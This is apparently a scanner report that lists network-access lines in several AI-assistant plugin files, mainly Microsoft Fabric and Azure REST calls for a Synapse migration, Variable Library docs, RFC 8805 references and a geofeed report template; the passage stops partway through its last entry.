harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/security-governance.md

  • Network accessline 54
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/assignWorkspaceIdentity
  • Network accessline 65
    - [ ] Register all service principals used by notebooks/SJDs in the Fabric workspace - [ ] Verify no notebooks rely on SQL auth — convert to Entra if found - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://managemen
  • Network accessline 67
    - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://management.azure.com")`
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 78
    resp = requests.post(
  • Network accessline 79
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/assignWorkspaceIdentity",
  • Network accessline 96
    [Credential-related source omitted]
  • Network accessline 98
    # List Linked Services via Synapse data-plane API resp = requests.get(
  • Network accessline 99
    resp = requests.get(
  • Network accessline 100
    f"https://{ws_name}.dev.azuresynapse.net/linkedservices"
  • Network accessline 125
    # List all Lakehouses in the target workspace resp = requests.get(
  • Network accessline 126
    resp = requests.get(
  • Network accessline 127
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type=Lakehouse",
  • Network accessline 133
    lh_id = lh["id"]     # List shortcuts for this Lakehouse     sc_resp = requests.get(
  • Network accessline 134
    # List shortcuts for this Lakehouse     sc_resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 135
    sc_resp = requests.get(
  • Network accessline 136
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 166
    # Get the Fabric Workspace Identity's service principal ID ws_resp = requests.get(
  • Network accessline 167
    ws_resp = requests.get(
  • Network accessline 168
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}",
  • Network accessline 185
    resp = requests.put(
  • Network accessline 186
    f"https://management.azure.com{storage_scope}"
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 289
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments
  • Network accessline 296
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments
  • Network accessline 315
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId}
  • Network accessline 326
    DELETE https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId}
  • Network accessline 338
    [Credential-related source omitted]
  • Network accessline 344
    # List all role assignments on the Synapse workspace resp = requests.get(
  • Network accessline 345
    resp = requests.get(
  • Network accessline 346
    f"https://management.azure.com{synapse_scope}"
  • Network accessline 365
    # Note: Synapse Studio RBAC roles (Apache Spark Administrator, Synapse SQL Administrator, # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT
  • Network accessline 366
    # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM # roleAssignments. The mapping below covers Azure RBAC roles only.
  • Network accessline 367
    # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM
  • Network accessline 394
    # Note: Synapse Studio RBAC roles (Apache Spark Administrator, Linked Data Manager, # Credential User) are not exported via ARM. If needed, query the Synapse RBAC API # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately.
  • Network accessline 396
    # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately.
  • Network accessline 443
    [Credential-related source omitted]
  • Network accessline 458
    for pid, entry in principal_roles.items():     resp = requests.post(
  • Network accessline 459
    resp = requests.post(
  • Network accessline 460
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 477
    # Assignment already exists — update instead         # First, list existing to get the roleAssignmentId         existing = requests.get(
  • Network accessline 478
    # First, list existing to get the roleAssignmentId         existing = requests.get(             f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 479
    existing = requests.get(
  • Network accessline 480
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 483
    match = next((a for a in existing if a["principal"]["id"] == pid), None)         if match:             requests.patch(
  • Network accessline 484
    if match:             requests.patch(                 f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}",
  • Network accessline 485
    requests.patch(
  • Network accessline 486
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}",
  • Network accessline 509
    # List all Fabric role assignments and compare resp = requests.get(
  • Network accessline 510
    resp = requests.get(
  • Network accessline 511
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 558
    PUT https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vaultName}/providers/Microsoft.Authorization/roleAssignments/{assignmentId}?api-version=2022-04-01
  • Network accessline 638
    for vault_url in vault_secrets:     # Extract vault name from URL: https://myvault.vault.azure.net → myvault
  • Network accessline 639
    # Extract vault name from URL: https://myvault.vault.azure.net → myvault
  • Network accessline 642
    # Resolve the vault's resource ID via ARM (try known resource group first, then search)     resp = requests.get(
  • Network accessline 643
    resp = requests.get(
  • Network accessline 644
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 651
    else:         # Search across all resource groups         search_resp = requests.get(
  • Network accessline 652
    # Search across all resource groups         search_resp = requests.get(             f"https://management.azure.com/subscriptions/{sub_id}"
  • Network accessline 653
    search_resp = requests.get(
  • Network accessline 654
    f"https://management.azure.com/subscriptions/{sub_id}"
  • Network accessline 675
    # Get Workspace Identity service principal ID (from S1 Step 4) ws_resp = requests.get(
  • Network accessline 676
    ws_resp = requests.get(
  • Network accessline 677
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}",
  • Network accessline 690
    resp = requests.put(
  • Network accessline 691
    f"https://management.azure.com{vault_resource_id}"
  • Network accessline 756
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}
  • Network accessline 774
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}/endorse
  • Network accessline 793
    > **Scope**: OneLake RBAC applies to the **Tables/** and **Files/** sections of a Lakehouse. By default, all workspace members can read all data. OneLake RBAC **restricts** access — it's a deny-by-default model once enabled. > > **Automatio
  • Network accessline 794
    > > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: > - 
  • Network accessline 795
    > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles:
  • Network accessline 1084
    > For detailed setup instructions, see [Microsoft Docs: Managed Private Endpoints in Fabric](https://learn.microsoft.com/fabric/security/security-managed-private-endpoints-overview).
  • Network accessline 1109
    > For detailed OPDG installation and configuration, see [Microsoft Docs: On-premises data gateway](https://learn.microsoft.com/data-integration/gateway/service-gateway-install).

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-item-migration.md

  • Network accessline 6
    > > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 7
    > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` > - Fabric audience: `https://api.fabric.mi
  • Network accessline 8
    > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 9
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 51
    GET https://{workspaceName}.dev.azuresynapse.net/notebooks?api-version=2020-12-01
  • Network accessline 213
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 252
    GET https://{workspaceName}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-pool-migration.md

  • Network accessline 6
    > > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com`
  • Network accessline 7
    > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` > - Fabric audience: `https://api.fabric.microsoft
  • Network accessline 8
    > - Synapse ARM audience: `https://management.azure.com`
  • Network accessline 9
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 36
    GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools?api-version=2021-06-01
  • Network accessline 45
    GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools/{poolName}?api-version=2021-06-01
  • Network accessline 107
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments`
  • Network accessline 250
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/updateDefinition`
  • Network accessline 261
    def update_env_definition(workspace_id, env_id, definition_payload, headers, max_retries=3):     """Upload Environment definition with retry for post-creation race condition."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{w
  • Network accessline 262
    """Upload Environment definition with retry for post-creation race condition."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"            f"/environments/{env_id}/updateDefinition")
  • Network accessline 263
    url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 264
    f"/environments/{env_id}/updateDefinition")     for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=headers, json=definition_payload)
  • Network accessline 265
    for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=headers, json=definition_payload)         if resp.status_code == 404 and attempt < max_retries:
  • Network accessline 266
    resp = requests.post(url, headers=headers, json=definition_payload)
  • Network accessline 307
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/staging/publish`
  • Network accessline 313
    **Endpoint**: `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/utility-api-mapping.md

  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Network accessline 64
    "https://mykeyvault.vault.azure.net/",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/validation-testing.md

  • Network accessline 14
    > | Phase 3 (SJDs) | V4, V5, V6 | Do not cut over until SJDs pass and the full validation report is green | > > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authenti
  • Network accessline 16
    > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) with audience `https://api.fabric.microsoft.com`.
  • Network accessline 41
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}
  • Network accessline 254
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{notebookId}/jobs/instances?jobType=RunNotebook`
  • Network accessline 298
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{sjdId}/jobs/instances?jobType=SparkJob`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/authoring.md

  • Network accessline 5
    This reference covers the Variable Library item definition: definition parts, variable types, and create/update by definition. The active value set is item state, not definition, and lives in [operations.md](operations.md). It is grounded i
  • Network accessline 23
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 24
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 36
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 37
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 45
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 46
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 67
    Editing a variable's default `value` or a value set override is a definition edit. Selecting the active value set is workspace item state. Deployment intentionally does not overwrite the selected active value set in each stage, and deployme
  • Network accessline 82
    ConnectionReference is a newer advanced type documented in [Variable library connection reference](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/connection-reference-variable-type). That Learn article shows `
  • Network accessline 84
    In `variables.json`, a variable's default `value` uses its native JSON type (`true` for Boolean, `1000` for Integer). In `valueSets/*.json`, each `variableOverrides[].value` uses the **same native JSON type as the variable it overrides** (B
  • Network accessline 95
    parts = {     "variables.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 96
    "variables.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",         "variables": [
  • Network accessline 97
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 102
    },     "settings.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 103
    "settings.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",         "valueSetsOrder": ["dev", "prod"]
  • Network accessline 104
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 106
    },     "valueSets/dev.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 107
    "valueSets/dev.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",         "name": "dev",
  • Network accessline 108
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 112
    },     "valueSets/prod.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 113
    "valueSets/prod.json": {         "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",         "name": "prod",
  • Network accessline 114
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 141
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 142
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 143
    --resource https://api.fabric.microsoft.com \
  • Network accessline 144
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 152
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 153
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \
  • Network accessline 154
    --resource https://api.fabric.microsoft.com \
  • Network accessline 155
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \
  • Network accessline 160
    az rest \   --method post \   --resource https://api.fabric.microsoft.com \
  • Network accessline 161
    --method post \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \
  • Network accessline 162
    --resource https://api.fabric.microsoft.com \
  • Network accessline 163
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/consumption.md

  • Network accessline 5
    This reference defines the Variable Library side of the consumer contract. It cites [Variable Library overview](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-overview), [pipeline integration]
  • Network accessline 56
    The `SetVariable` activity writes to a pipeline variable, so that variable must exist. Per [Set Variable activity](https://learn.microsoft.com/en-us/fabric/data-factory/set-variable-activity), Set Variable operates on an **existing** pipeli
  • Network accessline 74
    > **Number is not supported in pipelines per Microsoft Learn** ([Variable library integration with pipelines](https://learn.microsoft.com/en-us/fabric/data-factory/variable-library-integration-with-data-pipelines#known-limitations)). The `N

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/operations.md

  • Network accessline 5
    This reference covers Variable Library specific CI/CD behavior. It cites [Variable Library CI/CD](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd), [Variable Library value sets](https://le
  • Network accessline 25
    az rest \   --method get \   --resource https://api.fabric.microsoft.com \
  • Network accessline 26
    --method get \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 27
    --resource https://api.fabric.microsoft.com \
  • Network accessline 28
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 39
    az rest \   --method patch \   --resource https://api.fabric.microsoft.com \
  • Network accessline 40
    --method patch \   --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 41
    --resource https://api.fabric.microsoft.com \
  • Network accessline 42
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \
  • Network accessline 72
    - [fabric-cicd documentation](https://microsoft.github.io/fabric-cicd/)
  • Network accessline 73
    - [Lifecycle Management of the Microsoft Fabric Variable library](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd)

harness/claude-code/plugins/fastah-ip-geo-tools/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Fastah Inc.",     "url": "https://getfastah.com"
  • Network accessline 6
    "name": "Fastah Inc.",     "url": "https://getfastah.com"   },
  • Network accessline 7
    "url": "https://getfastah.com"
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "Apache-2.0",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/extended-guide.md

  • Network accessline 282
    "fastah-ip-geofeed": {       "type": "http",       "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 283
    "type": "http",       "url": "https://mcp.fastah.ai/mcp"     }
  • Network accessline 284
    "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 287
    - Server: `https://mcp.fastah.ai/mcp`

harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/rfc8805.txt

  • Network accessline 49
    Information about the current status of this document, any errata,    and how to provide feedback on it may be obtained at    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 51
    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 58
    This document is subject to BCP 78 and the IETF Trust's Legal    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 59
    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of    publication of this document.  Please review these documents
  • Network accessline 60
    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 565
    [ISO.3166.1alpha2]               ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 566
    ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-               3166-1_decoding_table.htm>.
  • Network accessline 567
    <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 570
    [ISO.3166.2]               ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/
  • Network accessline 571
    ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/               country_codes.htm#2012_iso3166-2>.
  • Network accessline 572
    <http://www.iso.org/iso/home/standards/
  • Network accessline 576
    Requirement Levels", BCP 14, RFC 2119,               DOI 10.17487/RFC2119, March 1997,               <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 578
    <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 580
    [RFC3629]  Yergeau, F., "UTF-8, a transformation format of ISO               10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November               2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 582
    2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 585
    Separated Values (CSV) Files", RFC 4180,               DOI 10.17487/RFC4180, October 2005,               <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 587
    <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 589
    [RFC4291]  Hinden, R. and S. Deering, "IP Version 6 Addressing               Architecture", RFC 4291, DOI 10.17487/RFC4291, February               2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 591
    2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 594
    (CIDR): The Internet Address Assignment and Aggregation               Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August               2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 596
    2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 599
    Address Text Representation", RFC 5952,               DOI 10.17487/RFC5952, August 2010,               <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 601
    <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 604
    Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching",               RFC 7234, DOI 10.17487/RFC7234, June 2014,               <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 606
    <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 608
    [RFC8174]  Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC               2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174,               May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 610
    May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 615
    Edition)", World Wide Web Consortium Recommendation REC-               xml-20081126, November 2008,               <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 617
    <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 621
    [GEOPRIV]  IETF, "Geographic Location/Privacy (geopriv)",               <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 622
    <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 624
    [GEO_Google]               Google, LLC, "Google Corp Geofeed",               <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 626
    <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 628
    [GEO_ICANN]               ICANN, "ICANN Meeting Geolocation Data",               <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 630
    <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 632
    [GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data",               <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 633
    <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 635
    [GEO_RIPE_NCC]               Schepers, M., "RIPE NCC Meeting Geolocation Data",               <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 637
    <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 640
    Shields, M. and P. Moody, "Google's Python IP address               manipulation library",               <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 642
    <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 644
    [ISO-GLOSSARY]               ISO, "Glossary for ISO 3166",               <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 646
    <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 648
    [RFC2818]  Rescorla, E., "HTTP Over TLS", RFC 2818,               DOI 10.17487/RFC2818, May 2000,               <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 650
    <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 652
    [RFC3912]  Daigle, L., "WHOIS Protocol Specification", RFC 3912,               DOI 10.17487/RFC3912, September 2004,               <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 654
    <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 657
    Format for Presence Information Data Format Location               Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139,               February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 659
    February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 663
    A Document Format for Expressing Privacy Preferences for               Location Information", RFC 6772, DOI 10.17487/RFC6772,               January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 665
    January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 668
    Authorizing Use of Domains in Email, Version 1", RFC 7208,               DOI 10.17487/RFC7208, April 2014,               <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 670
    <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 673
    Interchange Format", STD 90, RFC 8259,               DOI 10.17487/RFC8259, December 2017,               <https://www.rfc-editor.org/info/rfc8259>.
  • Network accessline 675
    <https://www.rfc-editor.org/info/rfc8259>.

harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/snippets-python3.md

  • Network accessline 3
    - Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available.
  • Network accessline 9
    - Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions).
  • Network accessline 30
    - Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).

harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/scripts/templates/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 6
    <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f
  • Network accessline 7
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 8
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css">
  • Network accessline 9
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
  • Network accessline 10
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
  • Network accessline 11
    <script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script>
  • Network accessline 1111
    * @type {string}          */         const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1113
    const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1128
    const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE);                 try {                     const response = await fetch(API_ENDPOINT, {
  • Network accessline 1129
    try {                     const response = await fetch(API_ENDPOINT, {                         method: 'POST',
  • Network accessline 1130
    const response = await fetch(API_ENDPOINT, {
  • Network accessline 1411
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2025
    zoom: 2                 });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2026
    });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {                     attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
  • Network accessline 2027
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2028
    attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',

harness/claude-code/plugins/feedback-themes/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/flight-map-canvas/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "John Haugabook",     "url": "https://github.com/jhauga"
  • Network accessline 6
